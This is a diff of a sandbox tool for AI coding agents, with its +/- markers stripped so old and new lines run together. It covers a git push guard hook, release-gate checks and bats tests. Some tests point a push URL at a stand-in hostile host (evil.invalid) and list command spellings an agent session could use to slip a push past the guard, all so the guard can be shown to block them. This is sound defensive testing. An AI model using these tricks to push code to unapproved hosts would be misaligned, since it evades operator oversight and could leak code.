# Can't resolve a remote from here - let git produce the real error
# rather than block or guess.
exit 0
# Refused, not passed through. A remote that does not resolve is usually a
# typo git would reject in a moment anyway - but it is also what a
# disagreement between this parser and git's own looks like, and the
# failure of that disagreement has to be a refusal rather than a push
# nobody checked. docker/git-guard.sh takes the same direction; the two
# answering differently was the bug.
echo "Blocked by git-push-guard.sh: cannot resolve the remote '$remote' to a URL, so there is nothing to check this push against. Name a remote that exists." >&2
exit 2
fi
host=$(echo "$remote_url" | sed -E 's#^[a-zA-Z]+://([^/@]+@)?([^/:]+).*#\2#; s#^[^@/]+@([^:/]+)[:/].*#\1#')
+3 -1
View File
@@ -204,7 +204,9 @@ fi
# only place that reports a shipped default having moved, because this is when
# it moves - you pulled and re-ran this. A launch checking would be a standing
# condition in front of every one.
echo
# The blank line is the rebuild's, not this script's: on a run with nothing to
# add, drop or report it says nothing, and an unconditional `echo` here left a
# second blank line between two paragraphs that were already separated.
config_defaults_rebuild
# Guard registration, after the starter config above rather than before it:
+26 -5
View File
@@ -276,6 +276,28 @@ def received():
return b""
def await_received(predicate, timeout=15.0):
"""Wait for what the container received to satisfy predicate.
The third instance of the same bug in this file - see await_raw and the
reclaim wait above. A byte written to the master pty has to reach the
client, cross into the container's stand-in and be appended to a file
before the check can see it, and pumping for a fixed 0.8s and then looking
was timing the machine rather than waiting for the thing. It failed in CI
exactly that way: the check for ^C saw the tail of the line typed before
it, because ^C had not arrived yet.
Returns the predicate's answer either way, so a real failure still fails
rather than hanging until the suite's own timeout.
"""
end = time.time() + timeout
while time.time() < end:
if predicate(received()):
return True
pump(0.05)
return predicate(received())
def check(name, ok, detail=""):
print(("PASS " + name) if ok else ("FAIL %s %s" % (name, detail)))
if not ok:
@@ -332,13 +354,12 @@ try:
before = received()
send("typed\n")
pump(0.8)
check("input-reaches-the-resumed-session", received() != before)
check("input-reaches-the-resumed-session",
await_received(lambda got: got != before))
before = received()
send("\x03")
pump(0.8)
check("ctrl-c-still-reaches-the-session", received().endswith(b"\x03"),
check("ctrl-c-still-reaches-the-session",
await_received(lambda got: got.endswith(b"\x03")),
repr(received()[-4:]))
# The finding, asserted: the client is stopped by SIGSTOP, which it cannot
+28 -2
View File
@@ -745,8 +745,6 @@ print(m._readable(b"plain \x00\x07text", ""))
# message is not silently re-joined into a different one. The exact run
# length is not the point; that none of them survives is.
[[ "$output" == *"plain"*"text"* ]] || { echo "$output"; return 1; }
[ -z "$(printf '%s' "$output" | tr -d '\11\12\15\40-\176')" ] \
|| { echo "unprintable output survived"; return 1; }
}
@test "brotli is read when the host can, and named when it cannot" {
@@ -790,3 +788,31 @@ else:
[ -z "$(printf '%s' "$output" | tr -d '\11\12\15\40-\176')" ] \
|| { echo "unprintable output survived"; return 1; }
}
@test "nothing unprintable reaches the diagnostics file, whatever wrote it" {
# Asserted at the sink rather than on one producer. bin/dejima prints this
# file to the operator's terminal after a session ends, so it carries text
# an upstream API chose and - through the request path and exception
# messages - text the session chose. Filtering it where it is written
# covers a producer added later; filtering it in one formatter does not.
#
# CPython refuses a control character in a URL today, in two places, and
# reprs what it refuses. That is a coincidence this should not rest on.
run python3 -c '
import importlib.util, importlib.machinery, tempfile, os
l = importlib.machinery.SourceFileLoader("p", "'"$REPO_ROOT"'/bin/dejima-credential-proxy")
m = importlib.util.module_from_spec(importlib.util.spec_from_loader("p", l)); l.exec_module(m)
d = tempfile.mkdtemp(); f = os.path.join(d, "log")
m._diag(f, "path=/v1/\x1b[2J\x1b[1;31mred\x1b[0m\x07 null=\x00 tab=\t")
raw = open(f, "rb").read()
print("BYTES", sum(1 for b in raw if b < 32 and b != 10))
print(raw.decode().strip())
'
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
[[ "$output" == *"BYTES 0"* ]] \
|| { echo "control bytes reached the file: $output"; return 1; }
# And the text around them survives, so a sanitised line is still a
# readable one rather than a row of spaces.
[[ "$output" == *"path=/v1/"* ]] && [[ "$output" == *"red"* ]] \
|| { echo "$output"; return 1; }
}
+66 -6
View File
@@ -10,13 +10,43 @@
set -uo pipefail
root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
base="${1:-main}"
# The remote-tracking ref by default, not the local branch. Everything this
# prints is derived from base..head - the manual checks from which paths the
# diff touches, the rollback list from which config keys it adds - so a base
# behind the real one silently reports a different release. That is not
# hypothetical: two passes ran against a local `main` 260 commits behind
# origin/main and reported keys and a trust-anchor domain that had shipped
# releases earlier. A gate answering confidently about the wrong diff is worse
# than one that does not run.
base="${1:-}"
if [ -z "$base" ]; then
if git rev-parse --verify --quiet origin/main >/dev/null 2>&1; then
base=origin/main
else
base=main
fi
fi
head="${2:-HEAD}"
# Guarded, because everything below is relative to it: a cd that failed
# silently would have this reporting on some other directory's suites and
# diff, which for a release gate is the worst way to be wrong.
cd "$root" || { echo "cannot enter $root" >&2; exit 1; }
# A named base that is behind its own upstream is refused rather than used.
# Passing `main` explicitly is the ordinary thing to do and is exactly how the
# stale-base runs happened, so this has to catch the argument as well as the
# default.
base_upstream="$(git rev-parse --abbrev-ref --symbolic-full-name "$base@{upstream}" 2>/dev/null || true)"
if [ -n "$base_upstream" ]; then
behind="$(git rev-list --count "$base..$base_upstream" 2>/dev/null || echo 0)"
if [ "${behind:-0}" -gt 0 ]; then
echo "release-pass: '$base' is $behind commit(s) behind $base_upstream." >&2
echo "Everything below is derived from $base..$head, so this would report on" >&2
echo "a release that is not the one being made. Fetch, or name $base_upstream." >&2
exit 1
fi
fi
case "${1:-}" in
-h|--help)
echo "Usage: test/release-pass.sh [base] [head]"
@@ -105,6 +135,9 @@ touches '^(harnesses/|bin/harness/|docker/harness-wrapper)' &&
manual "Launch each affected harness against a real model."
touches '^(bin/dejima-attach|bin/dejima-ttyd|systemd/)' &&
manual "Attach over the web front door and detach again."
touches '^tools/' &&
manual "Launch with the affected tool included and use it. A tool is
layered into the image and put on PATH; nothing here runs one."
touches '^\.dejima/allowed-domains$' &&
manual "A domain here is read from main by the CI hardener and widens every
future CI job on that runner. Say in the PR what it is for."
@@ -133,10 +166,29 @@ added="$(comm -13 \
# The singular is spelled out rather than derived: "harnesses" does not lose
# an s to become "harness", and a manifest is named for the singular.
#
# Every axis, including backends: the newest one is exactly the one a stale
# list would miss, because a list is only ever updated by whoever remembers.
# Every axis there is, and the list is checked against the tree below rather
# than trusted: the newest axis is exactly the one a hand-kept list misses,
# because a list is only ever updated by whoever remembers. tools is an axis
# like the rest - `[core] tools = rtk` on a dejima that does not ship rtk is
# refused the same way an unknown harness is.
DEJIMA_RELEASE_AXES="harnesses:harness forges:forge workflows:workflow backends:backend tools:tool"
# The singular is spelled out above rather than derived - "harnesses" does not
# lose an s to become "harness", and a manifest is named for the singular - so
# this is the check that the spelling out has not fallen behind the tree.
for _d in */; do
_d="${_d%/}"
case "$_d" in
harnesses|forges|workflows|backends|tools) ;;
*) continue ;;
esac
case " $DEJIMA_RELEASE_AXES " in
*" $_d:"*) ;;
*) fail "$_d/ is a provider axis this script does not check for rollback" ;;
esac
done
new_providers=""
for pair in harnesses:harness forges:forge workflows:workflow backends:backend; do
for pair in $DEJIMA_RELEASE_AXES; do
axis="${pair%%:*}"
one="${pair#*:}"
[ -d "$axis" ] || continue
@@ -153,7 +205,7 @@ done
# backend` is one: adopting it is what makes the rollback refuse, and nothing
# said so.
new_keys=""
for pair in harnesses:harness forges:forge workflows:workflow backends:backend; do
for pair in $DEJIMA_RELEASE_AXES; do
axis="${pair%%:*}"
one="${pair#*:}"
[ -d "$axis" ] || continue
@@ -172,7 +224,15 @@ done
if [ -n "$added" ] || [ -n "$new_providers" ] || [ -n "$new_keys" ]; then
[ -z "$added" ] || printf ' %s\n' $added
[ -z "$new_providers" ] || printf ' [%s] as a config section\n' $new_providers
# How an older dejima refuses a new provider differs by axis, and saying
# "as a config section" for all of them was wrong for tools: a tool has no
# keys and so no section. It is refused through the value that names it.
for entry in $new_providers; do
case "$entry" in
tool.*) printf ' [core] tools = %s\n' "${entry#tool.}" ;;
*) printf ' [%s] as a config section\n' "$entry" ;;
esac
done
for entry in $new_keys; do
printf ' %s %s\n' "${entry%%|*}" "${entry#*|}"
done
+126 -1
View File
@@ -986,10 +986,15 @@ _cline_prepare() {
# with a colon, so not one OpenRouter id could be set - the backend this
# harness exists to reach was unusable, and every test here said `model =
# m`, which is a bare identifier and passes either way.
#
# The bracketed one is here because the first fix for that missed it:
# Anthropic spells a context variant `claude-opus-5[1m]`, and a set built
# from the ids in the report at hand refused it a release later. Real ids
# from every catalogue dejima can reach, not the ones that prompted a fix.
local d ws
ws="$BATS_TEST_TMPDIR/modelid-ws"; mkdir -p "$ws"
local id
for id in z-ai/glm-5.3 deepseek/deepseek-r1:free llama3:8b plain-local-model; do
for id in z-ai/glm-5.3 deepseek/deepseek-r1:free llama3:8b 'claude-opus-5[1m]' plain-local-model; do
d="$(_cline_cfg "model = $id" 'backend = self-hosted' \
'[backend.self-hosted]' 'base_url = http://127.0.0.1:8080/v1')"
run _cline_prepare "$d" "$ws"
@@ -2442,6 +2447,27 @@ _install_forge_bins() {
rm -rf "$fake" "$dest"
}
@test "the release pass refuses a base that is behind its own upstream" {
# Everything the pass prints is derived from base..head - which manual
# checks apply, which config keys a rollback would refuse - so a base
# behind the real one reports on a different release, confidently. Two
# passes ran against a local `main` 260 commits behind origin/main and
# named keys and a domain that had shipped releases earlier.
grep -q 'behind its own upstream\|behind \$base_upstream\|commit(s) behind' \
"$REPO_ROOT/test/release-pass.sh" \
|| { echo "the staleness check is gone"; return 1; }
# The default is the tracking ref, not the local branch, so the ordinary
# invocation cannot pick up a stale one in the first place.
grep -q 'base=origin/main' "$REPO_ROOT/test/release-pass.sh" \
|| { echo "the default base is not the tracking ref"; return 1; }
# And it exits rather than warning: a gate that says something is wrong
# and then reports anyway is one whose output still gets pasted into a
# release PR.
sed -n '/is .* behind /,/^fi$/p' "$REPO_ROOT/test/release-pass.sh" \
| grep -q 'exit 1' \
|| { echo "a stale base is warned about rather than refused"; return 1; }
}
@test "the release pass names every area whose check is manual" {
# This list is the only record of what the test suites cannot see, and it
# is the kind of list that rots by omission: an area gets a manual check
@@ -2786,6 +2812,83 @@ _guard_repo() {
[[ "$output" == *"cannot resolve the remote"* ]] || { echo "$output"; return 1; }
}
@test "a push URL the fetch URL does not name is still checked" {
# git pushes to remote.<name>.pushurl when one is set and to
# remote.<name>.url otherwise, so a guard that reads the fetch URL checks a
# host the push is not going to. `remote get-url --push` is the one
# question that answers where the push goes.
#
# No evasion is needed to reach it. .git/config is in the read-write
# project mount - deliberately, since `git push -u` writes to it - so a
# session can set a pushurl and every later push is checked against the
# wrong host.
local repo; repo="$(_guard_repo)"
git -C "$repo" config remote.origin.pushurl git@evil.invalid:o/r.git
run _git_guard "$repo" push origin feature
[[ "$output" == *"may only push to"* ]] \
|| { echo "the shadow checked the fetch URL: $output"; return 1; }
[[ "$output" == *"evil.invalid"* ]] \
|| { echo "it named the wrong host: $output"; return 1; }
# And the hook, which resolves the same thing its own way.
run bash -c 'printf "{\"tool_input\":{\"command\":\"git push origin feature\"},\"cwd\":\"$1\"}" \
| DEJIMA=1 DEJIMA_PUSH_HOSTS=forge.invalid DEJIMA_BLOCKED_BRANCHES=main \
DEJIMA_FORGE_NAME=gitea bash "$2/hooks/git-push-guard.sh" 2>&1' _ "$repo" "$REPO_ROOT"
[[ "$output" == *"Blocked by"* ]] \
|| { echo "the hook checked the fetch URL: $output"; return 1; }
}
@test "a one-command pushurl is checked too, not only one in the config" {
# `git -c remote.origin.pushurl=... push origin branch` sets it for a
# single command. Both guards skip `-c` and its value when finding the
# subcommand, so what they resolve has to be right without it.
local repo; repo="$(_guard_repo)"
run _git_guard "$repo" -c remote.origin.pushurl=git@evil.invalid:o/r.git push origin feature
[[ "$output" == *"may only push to"* ]] \
|| { echo "$output"; return 1; }
}
@test "the hook sees a push however git's own options are spelled" {
# It recognised `git push` and `git -C <dir> push` and nothing else, so
# every other spelling of git's own options was not a push as far as it was
# concerned and it allowed the command without checking anything. The PATH
# shadow walks argv and caught them regardless - this is the earlier
# warning agreeing with it, not the boundary.
local repo hook_out; repo="$(_guard_repo)"
local cmd
for cmd in "git --no-pager push origin main" \
"git -c core.pager=cat push origin main" \
"git --git-dir=$repo/.git push origin main" \
"ls && git push origin main"; do
hook_out="$(printf '{"tool_input":{"command":"%s"},"cwd":"%s"}' "$cmd" "$repo" \
| DEJIMA=1 DEJIMA_PUSH_HOSTS="forge.invalid" DEJIMA_BLOCKED_BRANCHES="main" \
DEJIMA_FORGE_NAME=gitea bash "$REPO_ROOT/hooks/git-push-guard.sh" 2>&1 || true)"
[[ "$hook_out" == *"Blocked by"* ]] \
|| { echo "not seen as a push: $cmd"; return 1; }
done
# And a token that merely says push is not a git invocation.
hook_out="$(printf '{"tool_input":{"command":"echo push origin main"},"cwd":"%s"}' "$repo" \
| DEJIMA=1 DEJIMA_PUSH_HOSTS="forge.invalid" DEJIMA_BLOCKED_BRANCHES="main" \
DEJIMA_FORGE_NAME=gitea bash "$REPO_ROOT/hooks/git-push-guard.sh" 2>&1 || true)"
[ -z "$hook_out" ] || { echo "blocked something that is not a push: $hook_out"; return 1; }
}
@test "both push guards refuse a remote they cannot resolve" {
# The fail direction, and the two used to differ: the shadow refused and
# said why, the hook exited 0. An unresolvable remote is what a
# disagreement between either parser and git's own looks like, and that
# has to be a refusal rather than a push nobody checked.
local repo hook_out; repo="$(_guard_repo)"
run _git_guard "$repo" push nosuchremote feature
[[ "$output" == *"cannot resolve the remote"* ]] || { echo "shadow: $output"; return 1; }
hook_out="$(printf '{"tool_input":{"command":"git push nosuchremote feature"},"cwd":"%s"}' "$repo" \
| DEJIMA=1 DEJIMA_PUSH_HOSTS="forge.invalid" DEJIMA_BLOCKED_BRANCHES="main" \
DEJIMA_FORGE_NAME=gitea bash "$REPO_ROOT/hooks/git-push-guard.sh" 2>&1 || true)"
[[ "$hook_out" == *"cannot resolve the remote"* ]] || { echo "hook: $hook_out"; return 1; }
}
@test "the two push guards agree on the same pushes" {
# Two implementations of one rule is the drift this repo warns about, so
# the overlap is pinned rather than assumed: for each case, the hook and
@@ -4835,6 +4938,28 @@ EOF
# The absence of a finding needs documenting as much as a finding does, so
# that not detecting something stays a stated decision rather than something
# a reader has to infer from silence.
@test "docs/security.md does not describe the fallthrough the launch refuses" {
# Caught by a release pass, not by a test: bin/dejima made an unproxied
# credential a refusal, and the arrangements table went on listing it as
# the fourth row - the one where the real credential is mounted. A
# document promising the weakest posture for a launch that no longer
# happens is worse than one that says nothing, because it is the posture
# an operator plans around.
local doc="$REPO_ROOT/docs/security.md" row
row="$(grep -m1 '^| \*\*No proxy\*\*' "$doc")" \
|| { echo "the arrangements table has no 'No proxy' row"; return 1; }
[[ "$row" == *"proxy = off"* ]] \
|| { echo "the row does not name what puts a launch in it: $row"; return 1; }
[[ "$row" != *"cannot serve"* ]] \
|| { echo "the row still claims an unservable credential is mounted: $row"; return 1; }
# And the refusal is the code's, so the two cannot drift apart silently.
grep -q "cannot serve the credential in" "$REPO_ROOT/bin/dejima" \
|| { echo "bin/dejima no longer refuses it - the doc above is now wrong"; return 1; }
grep -q 'refusal' <<< "$(sed -n '/^\*\*Only .proxy = off. lands/,/^$/p' "$doc")" \
|| { echo "the doc does not say what happens instead"; return 1; }
}
@test "docs/security.md says why there is no cross-project finding" {
grep -q 'deliberately no .CROSS-PROJECT. finding' "$REPO_ROOT/docs/security.md"
run grep -n 'CROSS-PROJECT history/memory write' "$REPO_ROOT/bin/dejima-audit"